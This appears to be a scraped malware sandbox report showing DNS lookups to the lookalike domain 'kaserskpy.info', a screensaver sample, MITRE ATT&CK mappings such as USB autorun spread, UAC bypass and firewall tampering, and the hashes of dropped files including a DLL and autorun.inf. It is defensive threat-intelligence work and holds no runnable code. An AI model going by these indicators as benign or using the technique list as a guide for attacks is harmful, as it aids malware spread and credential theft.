139 B
1
1

DNS Request

kaserskpy.info
8.8.8.8:53

kaserskpy.info

dns

rawcircle.scr

60 B
139 B
1
1

DNS Request

kaserskpy.info

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Replication Through Removable Media

T1091

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\{FBDF5F04-3D0B-4372-AB4A-8D87BB607F06}.jpg

Filesize
23KB

MD5
fd5fd28e41676618aac733b243ad54db

SHA1
b2d69ad6a2e22c30ef1806ac4f990790c3b44763

SHA256
a26544648ef8ceffad6c789a3677031be3c515918627d7c8f8e0587d3033c431

SHA512
4c32623796679be7066b719f231d08d24341784ecfd5d6461e8140379f5b394216e446865df56e05b5f1e36962c9d34d2b5041275366aeabcd606f4536217fe4

Download Submit
C:\Users\Admin\AppData\Roaming\0.dat

Filesize
1B

MD5
cfcd208495d565ef66e7dff9f98764da

SHA1
b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

SHA256
5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

SHA512
31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

Download Submit
C:\Users\Admin\AppData\Roaming\1.dat

Filesize
25KB

MD5
212ddd77efd824768ef4988e5ace6cce

SHA1
a4075151428b170d8413960d948165ef501871dd

SHA256
c301e161d731d051c30e1b66c8cd9dd1fde1f5fac84895aa55c527bbed92dc41

SHA512
7b17253f1c8f37c68e00cf6830c1a62c5fd6617a22c5594ecc76787bef26f0d4632a1a5f3ded86b225ca9270d314f2465037e0c06597e19b3ecd90ab544d896f

Download Submit
C:\Users\Admin\AppData\Roaming\2.dat

Filesize
219B

MD5
3676ba592a32bb9434599226129d6825

SHA1
8f0612c1bcd02447b2e71268f704fed6d8b94e18

SHA256
416ae91ed63c27575f531034919192d8f5263c525c05a775d0948c55f5b43437

SHA512
39033c35de4d495584e2d8be606f58e5a07acb4c6f426a757a9f16c1b1ff8015fc9898aee8acd12aa5b768dfdff49e510f4573d48cb2ab08b13b7f2d2eb8a813

Download Submit
C:\Users\Admin\AppData\Roaming\3.dat

Filesize
34KB

MD5
5a630ca16e715633272d3994d4cfe79d

SHA1
bc3f62845989685321dfdf568c338103d3fa1e8c

SHA256
9a081ff2756d1b9b08538402a2f40b69f86d51b0a305f6d2c2ff29a0496f837e

SHA512
0c75b1cff44bf25d234ab072d8dbc488c67bf3610a9be2d1b58c49ede29bf092d015cc79f62545043abdcc3e5aa3798149d40b8210d274c9743bf3b24a36262e

Download Submit
C:\Users\Admin\AppData\Roaming\4.dat

Filesize
535B

MD5
9cac34f332cf836e17fc2f2fa2bb71e4

SHA1
d18afa52aeb5e2aa2c6d42bba50a0f7c9910dfb8

SHA256
a1454355e66bc7f6d45301b83b1bbfd8b6aa5fd8c53c283f3ae10aba3d8950a7

SHA512
b9ab7e6f465c6bcdfca25cd5e3f169771106e70cde4e946d887efc2676558b07eab1a0626b998406262f191f63e782a1a43bcf1e0654a1d7d98995deac534a1b

Download Submit
C:\Users\Admin\AppData\Roaming\5.dat

Filesize
441B

MD5
fa19559081b4ab5f084f93e66a9d42be

SHA1
8359e8bfe26390bb9bf36a553d0a59c0db711007

SHA256
b23940134fec85d6d0fa7e02e737a9e1ec046a05714b190fb4e70e97b96b989b

SHA512
345427a14b9544b8f811017363f8ca9a9f30be2783b7aeb0a1f145c3eadbe73fda7e20276087d4e0cbabd6dff9898ea49cbb23fca5f0875ef1dfc348822102cd

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yrxx2hps.default-release\prefs.js

Filesize
6KB

MD5
52470bfd657efe79177539a91a948a19

SHA1
f79b34b0fef22b1135cf549c8a7fb90fb1df1fd6

SHA256
7301169de6aa1c7adaf7098ee5170f75a93b6abdcd3913495d28d2ed453b5e9d

SHA512
eeace7bc54272667a833df733fdf2e3130634852a78088ae6fc5dc732cdc146dcb598f12d8c5e209692b84b7ad51eb958acba4e26f1ded91ed73aee9fed20f64

Download Submit
C:\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS

Filesize
315KB

MD5
2590fd6e112931b0defac0686d5c268e

SHA1
cb0663525cc8286d9cba4fa642ca12de55eb9155

SHA256
66244c2be9f38702ccb106a5e2e43114f9e113d6ebe2d474e74181afb1490377

SHA512
8d41b9e75d8d9424c7452a4449fadf23117b0de04855679df14ef744f1417850ed8a3831750310ae42d1f932249cc1a6d607be046eceb6ed0cd82e065f306374

Download Submit
C:\Users\Admin\AppData\Roaming\moggy.dll

Filesize
191KB

MD5
11115f56c2ed3c465cb00b2d70281aaf

SHA1
a42e36c46bc69a1ce9bb87ef97c262f2d0ac0cb7

SHA256
af12acbb0d9e9d74a3f0fa0cd9483020592e277ce5392ec9521e79957043074d

SHA512
4caa106ee5008a35350af729ce53f1568df7c9658af6b0dda6e2678a37d33cbf1e460269b94495624b44c0ad4e3fb9c098fb5b346241eedf2819aedf0ad758c6

Download Submit
F:\autorun.inf

Filesize
63B

MD5
f64baf418f685884efec59a9d80bc5f6

SHA1
9c90f7a7efd7ef3059837fdeb06b6b781ca6d1e9

SHA256
4b9870b1f52e252451b3fa099e8b270c32ddc6fc29372067be28dcd009ec4e8f

SHA512
dceecd6a564c974c71ceeb544b0dfde70a09315db6d72a50fdbecdc0cf505a7ce52b7a83a9a8c79e8cfbb996c054585da6d7c08bf0026b4d9ecdde5f0a2b2a69

Download Submit
memory/536-186-0x0000000010000000-0x0000000010035000-memory.dmp

Filesize
212KB

Download
memory/588-87-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/2096-4-0x0000000010000000-0x000000001005E000-memory.dmp

Filesize
376KB

Download
memory/2096-301-0x0000000002770000-0x00000000027A5000-memory.dmp

Filesize
212KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.